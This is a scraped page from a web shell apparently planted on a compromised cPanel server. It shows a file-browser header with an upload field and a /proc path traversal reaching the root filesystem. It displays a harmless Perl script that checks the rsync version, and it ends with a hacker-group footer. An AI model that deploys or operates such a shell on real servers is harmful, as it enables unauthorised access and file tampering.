CHips L MINI SHELL

CHips L pro

Current Path : /proc/2/cwd/proc/self/root/proc/3/root/proc/3/root/scripts/
Upload File :
Current File : //proc/2/cwd/proc/self/root/proc/3/root/proc/3/root/scripts/checkrsync

#!/usr/local/cpanel/3rdparty/bin/perl

my $rsyncv = `rsync --version`;
$rsyncv =~ /version[\s\t]*(\d+)\.(\d+)\.(\d+)/;

my $major = $1;
my $minor = $2;
my $rev   = $3;

if ( $1 > 2 )                             { print "-z"; exit(); }
if ( $1 == 2 && $minor > 5 )              { print "-z"; exit(); }
if ( $1 == 2 && $minor == 5 && $rev > 3 ) { print "-z"; exit(); }

exit();

Copyright 2K16 - 2K18 Indonesian Hacker Rulez